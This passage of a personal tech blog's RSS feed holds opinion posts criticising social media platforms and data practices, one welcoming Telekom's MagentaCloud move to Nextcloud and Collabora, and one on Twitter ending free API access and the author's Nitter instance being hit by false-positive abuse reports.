&lt;p>This is even more evident in the long-term damage that appears in statistics afterwards. Zuckerberg, Sandberg, Page, Brin, and Elon Musk are responsible for the disproportionate increase in suicide rates among young girls in the United States.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> Girls like Amanda Todd&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> or Jessica Scatterson&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>. Doctors and experts see a correlation with the consumption of so-called social media.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>Social media use is more strongly associated with depression in girls compared with boys and cyberbullying is more closely associated with emotional problems in girls compared with boys.&lt;/p>
&lt;/blockquote>
&lt;p>Further studies and surveys for the German-speaking area can be found on the website of the &amp;ldquo;Schau hin&amp;rdquo; initiative.&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup>&lt;/p>
&lt;h3 id="human-experiments">Human experiments&lt;/h3>
&lt;p>Since the leaked documents from whistleblower Frances Haugen&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup>, we know: The responsible parties at Facebook, Twitter &amp;amp; Co know the effects&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup>, while publicly denying everything&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>.&lt;/p>
&lt;blockquote>
&lt;p>Facebook and Instagram’s algorithms - which tailor the content that a user sees - were causing harm.&lt;/p>
&lt;/blockquote>
&lt;p>&amp;ldquo;Psychographic messaging&amp;rdquo; has been going on for at least 10 years. These are nothing more than human experiments by displaying, omitting or repetitively displaying content. Millions of people are manipulated daily without their knowledge. Led into targeted dependence with their smartphones&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>. An addiction, hidden behind euphemisms like &amp;ldquo;engagement&amp;rdquo; or &amp;ldquo;interactions&amp;rdquo;. The psychographic&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup> characteristics come from personal behavior data.&lt;/p>
&lt;p>When the first studies reached the public through scientific peer reviews in 2014, the outrage forced Sandberg to apologize&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup>. Not for the experiments themselves - for the alleged failed communication.&lt;/p>
&lt;p>The Netflix documentary &amp;ldquo;The Social Dilemma&amp;rdquo;&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup> describes the underlying mechanics:&lt;/p>
&lt;ul>
&lt;li>Increase dependency and usage time through useful tools and dark patterns such as &amp;ldquo;continue scrolling.&amp;rdquo;&lt;/li>
&lt;li>Ensure that people keep coming back and bring other friends.&lt;/li>
&lt;li>Monetize participating companies and their advertisements.&lt;/li>
&lt;/ul>
&lt;h3 id="data-protection-protects-people">Data protection protects people&lt;/h3>
&lt;p>After a lead time and warnings, our highest data protection officer is now serious. At least the authorities responsible for him are no longer allowed to operate &amp;ldquo;fan pages&amp;rdquo; on so-called social platforms.&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>The BfDI does not consider the data protection-compliant operation of Facebook fan pages to be possible.&lt;/p>
&lt;/blockquote>
&lt;p>It borders on parody when the Federal Press Office requests judicial clarification here&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup>. At the same time, however, the federal administration prohibits social media on his own devices:&lt;/p>
&lt;blockquote>
&lt;p>You must be aware that the data may be misused. Some of the servers are located abroad. This is not only the case with Tiktok, but also with Facebook or Instagram.&lt;/p>
&lt;/blockquote>
&lt;p>At the same time, there is an astonishing dialectic in which the need is repeatedly reported to align with people&amp;rsquo;s media use and to reach them where they are supposed to be.&lt;/p>
&lt;p>This painlessness is often heard among advertisers and personnel managers. When I ask them specifically about KPIs&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup>, it always becomes very thin very quickly. In all cases known to me personally, assumptions were based on data that could not be verified by third parties. Issued by those who were commissioned with a campaign. Well, you might aswell ask the wolf in the morning how many sheep he killed at night - it&amp;rsquo;s just as practical and saves you from counting.&lt;/p>
&lt;p>Which side of history are you on?&lt;/p>
&lt;p>In this sense,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Carole_Cadwalladr">https://en.wikipedia.org/wiki/Carole_Cadwalladr&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://ted.com/talks/carole_cadwalladr_facebook_s_role_in_brexit_and_the_threat_to_democracy">https://ted.com/talks/carole_cadwalladr_facebook_s_role_in_brexit_and_the_threat_to_democracy&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Cambridge_Analytica">https://de.wikipedia.org/wiki/Cambridge_Analytica&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://journals.sagepub.com/doi/full/10.1177/1527476420982230">https://journals.sagepub.com/doi/full/10.1177/1527476420982230&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://theguardian.com/technology/2021/oct/22/facebook-whistleblower-hate-speech-illegal-report">https://theguardian.com/technology/2021/oct/22/facebook-whistleblower-hate-speech-illegal-report&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://journals.sagepub.com/doi/full/10.1177/00113921211034896">https://journals.sagepub.com/doi/full/10.1177/00113921211034896&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://deutschlandfunkkultur.de/shoshana-zuboff-ueberwachungskapitalismus-steuert-das-100.html">https://deutschlandfunkkultur.de/shoshana-zuboff-ueberwachungskapitalismus-steuert-das-100.html&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://mitsloan.mit.edu/ideas-made-to-matter/mit-sloan-research-about-social-media-misinformation-and-elections">https://mitsloan.mit.edu/ideas-made-to-matter/mit-sloan-research-about-social-media-misinformation-and-elections&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://bbc.com/news/world-us-canada-57870778">https://bbc.com/news/world-us-canada-57870778&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://forbes.com/sites/robertglatter/2019/05/20/suicide-rates-sharply-increase-among-young-study-girls-finds/">https://forbes.com/sites/robertglatter/2019/05/20/suicide-rates-sharply-increase-among-young-study-girls-finds/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Amanda_Todd">https://de.wikipedia.org/wiki/Amanda_Todd&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://theguardian.com/uk-news/2019/apr/17/girl-killed-herself-social-media-inquest-jessica-scatterson">https://theguardian.com/uk-news/2019/apr/17/girl-killed-herself-social-media-inquest-jessica-scatterson&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://jamanetwork.com/journals/jamanetworkopen/fullarticle/2733419">https://jamanetwork.com/journals/jamanetworkopen/fullarticle/2733419&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://schau-hin.info/studien/studien-zur-mediennutzung/">https://schau-hin.info/studien/studien-zur-mediennutzung/&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Frances_Haugen">https://de.wikipedia.org/wiki/Frances_Haugen&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://theguardian.com/technology/2021/oct/10/frances-haugen-takes-on-facebook-the-making-of-a-modern-us-hero">https://theguardian.com/technology/2021/oct/10/frances-haugen-takes-on-facebook-the-making-of-a-modern-us-hero&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://nypost.com/2021/09/14/facebook-knows-instagram-hurts-teen-girls-but-downplays-concerns-report/">https://nypost.com/2021/09/14/facebook-knows-instagram-hurts-teen-girls-but-downplays-concerns-report/&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://terrax.podigee.io/35-wenn-das-handy-dein-leben-bestimmt">https://terrax.podigee.io/35-wenn-das-handy-dein-leben-bestimmt&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Psychographics">https://en.wikipedia.org/wiki/Psychographics&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://wsj.com/articles/BL-DGB-36278">https://wsj.com/articles/BL-DGB-36278&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/The_Social_Dilemma">https://en.wikipedia.org/wiki/The_Social_Dilemma&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://bfdi.bund.de/SharedDocs/Kurzmeldungen/DE/2022/07_Anhoerung-BPA.html">https://bfdi.bund.de/SharedDocs/Kurzmeldungen/DE/2022/07_Anhoerung-BPA.html&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>&lt;a href="https://heise.de/news/Bundespresseamt-will-Facebook-Verbot-gerichtlich-pruefen-lassen-7549641.html">https://heise.de/news/Bundespresseamt-will-Facebook-Verbot-gerichtlich-pruefen-lassen-7549641.html&lt;/a>&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Key-Performance-Indicator">https://de.wikipedia.org/wiki/Key-Performance-Indicator&lt;/a>&amp;#160;&lt;a href="#fnref:24" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Telekom MangentaCloud becomes Nextcloud</title><link>https://blog.jakobs.systems/en/micro/20230308-telekom-nextcloud/</link><pubDate>Wed, 08 Mar 2023 12:00:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20230308-telekom-nextcloud/</guid><description>Telekom integrates Nextcloud and Collabora into its MangentaCloud</description><category>Telekom</category><category>Nextcloud</category><category>Cloud</category><category>Libreoffice</category><category>Opensource</category><content>&lt;p>Congratulations to Telekom with its millions of MagentaCloud&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> users. Throughout the year&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>, they will switch to Nextcloud&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> and the online office service Collabora&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, based on the free LibreOffice&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>. This is a real success story for Nextcloud and its years of work in winning over ISPs&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>This reduces the arguments of proponents of Microsoft365 solutions who consider Nextcloud, Collabora, or Libreoffice as niche solutions. In recent years, I have personally seen the exact opposite. More and more people are using open-source solutions as a replacement for unpredictable and expensive subscription license models.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230308-telekom-nextcloud.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20230308-telekom-nextcloud.webp#c" alt="Screenshot of this article as a document within Collabora on my own Nextcloud instance" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>For existing Telekom customers, it is worth checking what benefits are included. It is unclear what limitations will be in place in the MagentaCloud as compared to self-hosted instances. According to reports in the Heise Forum, there is only one main user.&lt;sup id="fnref1:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> In my managed cloud solutions, for example, there is no SSH and no root access for end customers.&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The on-premise Nextcloud instance on your own hardware remains the best recommendation. For those who are less technically proficient, MagentaCloud will be the first choice. With the Nextcloud app &amp;ldquo;Edit Files in Libreoffice,&amp;rdquo; which I presented two years ago, documents can be easily edited offline in the locally installed LibreOffice.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> Thanks to Federation&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>, data can be easily shared and prevent a vendor lock-in effect.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> In case of need, everything can be taken to your own instance.&lt;/p>
&lt;p>In this sense,&lt;br>
Yours, Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://cloud.telekom-dienste.de/">https://cloud.telekom-dienste.de/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://heise.de/news/MagentaCloud-Telekom-migriert-Millionen-auf-Nextcloud-und-Collabora-Online-7532860.html">https://heise.de/news/MagentaCloud-Telekom-migriert-Millionen-auf-Nextcloud-und-Collabora-Online-7532860.html&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://nextcloud.com/">https://nextcloud.com/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://collaboraoffice.com/">https://collaboraoffice.com/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://de.libreoffice.org/">https://de.libreoffice.org/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://heise.de/forum/heise-online/Kommentare/MagentaCloud-Telekom-migriert-Millionen-auf-Nextcloud-und-Collabora-Online/Echt-so-ganz-heimlich/posting-42355386/show/">https://heise.de/forum/heise-online/Kommentare/MagentaCloud-Telekom-migriert-Millionen-auf-Nextcloud-und-Collabora-Online/Echt-so-ganz-heimlich/posting-42355386/show/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&amp;#160;&lt;a href="#fnref1:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://hinterhofbu.de/nextcloud/">https://hinterhofbu.de/nextcloud/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20211016-edit-files-with-libreoffice/">https://blog.jakobs.systems/micro/20211016-edit-files-with-libreoffice/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://nextcloud.com/de/federation/">https://nextcloud.com/de/federation/&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Lock-in-Effekt">https://de.wikipedia.org/wiki/Lock-in-Effekt&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>How Platforms Die</title><link>https://blog.jakobs.systems/en/blog/20230202-how-platforms-die/</link><pubDate>Thu, 02 Feb 2023 20:00:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20230202-how-platforms-die/</guid><description>The end of the free Twitter API is approaching</description><category>Twitter</category><category>Enshittification</category><content>&lt;p>Who would have thought six months ago that Twitter would die so quickly and clearly? My choice of words is not exaggerated. We are witnessing the death of a platform. Not that I ever had an account on this so-called social medium. I use its open API with my own Nitter instance&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, as introduced here as a blog post two years ago&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Free of advertising, the collection of behavioral data, a user interface full of distractions, dark patterns, and 3rd-party content, I read tweets from interesting people as an RSS feed together with all other news in my personal Nextcloud news reader.&lt;/p>
&lt;p>That&amp;rsquo;s over now. The new owner of Twitter is destroying what made this service great.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> Anyone who wants to continue using the Twitter API after February 9, 2023, must pay. The need seems to be greater than the intellect. And it remains to be doubted that the decision-maker is aware of what he is doing. With the laughable lead time of only one week, it will be exciting to see which websites, apps, and services suddenly stop functioning properly.&lt;/p>
&lt;p>The Twitter API is used not only by my insignificant Nitter instance but also by numerous other services and apps. Media websites access cited tweets as well as countless plugins in web builders and shops with &amp;ldquo;Login with Twitter&amp;rdquo; functions. Marketing departments of companies cross-post their contributions to multiple platforms with third-party applications.&lt;/p>
&lt;p>Even if some erratic decisions of the recent past were quickly reversed&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, one thing becomes clear to me: it&amp;rsquo;s time to cut the last connection. For three reasons:&lt;/p>
&lt;p>For a little over six months, I have felt very comfortable on Mastodon&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> and have observed that almost all institutions and people I provided with a Nitter RSS feed have found their way into the Fediverse.&lt;/p>
&lt;p>On Twitter, more and more of the &amp;ldquo;bottom of the Internet&amp;rdquo; is accumulating. Conspiracy theorists, Nazis&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>, racists, and simply annoying people like Trump&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> are regaining their accounts and reach. There are more advertising revenues. At the same time, the bullshit emitted on Twitter is becoming less and less controlled in general. Too expensive because of the effort and personnel involved.&lt;/p>
&lt;p>In recent weeks, my Nitter instance has increasingly been the target of false-positive abuse reports. It is obvious that the personnel cuts&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> at Twitter lead to a noticeable increase in malware and ransomware, which increasingly find their way onto the computers of those affected through Twitter tweets.&lt;/p>
&lt;p>The last abuse report came a few days ago from Argentina. In addition to 10 minutes of server downtime, an email exchange with my ISP, a snake-oil vendor it put my server for 2h on an blacklist. The two following screenshots show what this looks like.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230131-falsepositive2.webp">&lt;img src="https://blog.jakobs.systems/img_low/20230131-falsepositive2.webp" alt="Malware from my server? A false-positive abuse report" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20230131-falsepositive.webp">&lt;img src="https://blog.jakobs.systems/img_low/20230131-falsepositive.webp" alt="It took about 2 hours for my IP to be removed from a blocklist" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>It&amp;rsquo;s good that my mail and reverse VPN servers with other services are on different IP addresses. It has its advantages to separate important functions from each other.&lt;/p>
&lt;p>Anyone who is still engaged on the dying Twitter platform is well advised to jump ship in time. Inconsequential tweets rarely generate revenue, least of all behind a paywall. In the circle of Nazis, racists, and the disgusting bottom of the net, they do, however, permanently damage a brand, their own company, and all the people associated with it.&lt;/p>
&lt;p>Elon Musk doesn&amp;rsquo;t care about users, advertisers or the company he&amp;rsquo;s bought. It&amp;rsquo;s all about quick money to reduce his personal expenses and liabilities. By hook or by crook. He lost the mantra of the &amp;ldquo;maker&amp;rdquo; with Tesla or SpaceX. People like Musk are dangerous - they usually end up destroying what they painstakingly created with their own rear end.&lt;/p>
&lt;p>In search of a term for this decline, I came across Cory Doctorow&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>. He coined the term &amp;ldquo;enshittification&amp;rdquo; of platforms&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>.&lt;/p>
&lt;blockquote>
&lt;p>Here is how platforms die: First, they are good to their users; then they abuse their users to make things better for their business customers; finally, they abuse those business customers to claw back all the value for themselves. Then, they die. (&amp;hellip;) this is the enshittification lifecycle.&lt;/p>
&lt;/blockquote>
&lt;p>In ten years, Twitter will be mentioned along with former giants like Compuserve, Lycos, Yahoo, or AltaVista. And people will wonder how a rich snob could destroy an ecosystem that had grown over decades so quickly and brutally.&lt;/p>
&lt;p>In this sense,&lt;br>
have a pleasant Twitter-free time,&lt;br>
Your Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://github.com/zedeus/nitter">https://github.com/zedeus/nitter&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20210127-nitter-selfhosting/">https://blog.jakobs.systems/blog/20210127-nitter-selfhosting/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://netzpolitik.org/2023/ende-der-kostenlosen-api-musk-zerstoert-was-twitter-gross-gemacht-hat/">https://netzpolitik.org/2023/ende-der-kostenlosen-api-musk-zerstoert-was-twitter-gross-gemacht-hat/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://br.de/nachrichten/netzwelt/chaos-bei-twitter,TMVCClk">https://br.de/nachrichten/netzwelt/chaos-bei-twitter,TMVCClk&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20221108-mastodon/">https://blog.jakobs.systems/micro/20221108-mastodon/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://derstandard.at/story/2000141485566/">https://derstandard.at/story/2000141485566/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>🚫 &lt;a href="https://tagesschau.de/ausland/amerika/trump-twitter-musk-usa-103.html">https://tagesschau.de/ausland/amerika/trump-twitter-musk-usa-103.html&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://zdf.de/nachrichten/wirtschaft/twitter-kuendigungswelle-fuenfzig-prozent-entlassung-100.html">https://zdf.de/nachrichten/wirtschaft/twitter-kuendigungswelle-fuenfzig-prozent-entlassung-100.html&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
